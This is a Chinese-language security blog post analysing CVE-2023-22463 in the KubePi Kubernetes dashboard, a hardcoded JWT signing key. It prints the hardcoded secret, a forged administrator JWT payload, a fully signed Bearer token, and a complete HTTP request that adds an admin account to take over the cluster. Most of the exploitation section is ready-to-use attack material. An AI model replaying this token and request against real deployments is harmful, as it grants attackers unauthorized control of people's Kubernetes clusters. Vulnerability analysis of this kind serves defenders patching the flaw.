点击蓝字 关注我们
MNTMDEV
漏洞介绍
Introduction of Vulnerability
kubepi 是一个现代化k8s可视化平台,该项目托管在GitHub的1Panel-dev/KubePi的仓库中。
CVE-2023-22463是一个JwtSigKey 硬编码漏洞,影响版本为kubepi<v1.6.3 。官方其实有成因描述,简单来说就是api部分的jwt认证使用了硬编码,可以通过伪造jwt来新增管理员账户来接管相关资产,详见以下链接。
废话少说,上车!
漏洞分析
Analysis of Vulnerability
查看github的更新日志获取到了该漏洞的简单修复信息,下载1.6.2的源码搜索相关关键字。
在1.6.2的源码中,搜索相关关键字JwtSigKey。
发现硬编码的内容:
var JwtSigKey = []byte("signature_hmac_secret_shared_key")
伪造的jwt编码部分:
{
"name": "admin",
"nickName": "Administrator",
"email": "[email protected]",
"language": "zh-CN",
"resourcePermissions": {},
"isAdministrator": true,
"mfa": {
"enable": false,
"secret": "",
"approved": false
},
"iat": 1672651776,
"exp": 1783652376
}
用硬编码的密钥signature_hmac_secret_shared_key来签名。
伪造的是api接口的认证token,可在api的swagger认证后使用。
利用方法
Method of Exploitation
实际利用中,通常是增加一个admin用户,接管集群。
POST /kubepi/api/v1/users HTTP/1.1
Host: 192.168.1.6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36
accept: application/json
Accept-Encoding: gzip, deflate
Content-Length: 231
Connection: close
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJuaWNrTmFtZSI6IkFkbWluaXN0cmF0b3IiLCJlbWFpbCI6InN1cHBvcnRAZml0MmNsb3VkLmNvbSIsImxhbmd1YWdlIjoiemgtQ04iLCJyZXNvdXJjZVBlcm1pc3Npb25zIjp7fSwiaXNBZG1pbmlzdHJhdG9yIjp0cnVlLCJtZmEiOnsiZW5hYmxlIjpmYWxzZSwic2VjcmV0IjoiIiwiYXBwcm92ZWQiOmZhbHNlfSwiaWF0IjoxNjcyNjUxNzc2LCJleHAiOjE3ODM2NTIzNzZ9.i-83qNf6pGJkUYdZCknHeTG6PsYKc1FRyjrRcPJUKvI
{
"authenticate": {
"password": "admin@123"
},
"email": "[email protected]",
"isAdmin": true,
"mfa": {
"enable": false
},
"name": "admin123",
"nickName": "admin123",
"roles": [
"admin"
]
}
发送上述请求后,即可登录添加的admin用户接管资产。
就问你这漏洞分析滴行不行?
MNTMDEV
原文始发于微信公众号(MNTMDEV):[云安全] kubepi 漏洞分析利用CVE-2023-22463
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论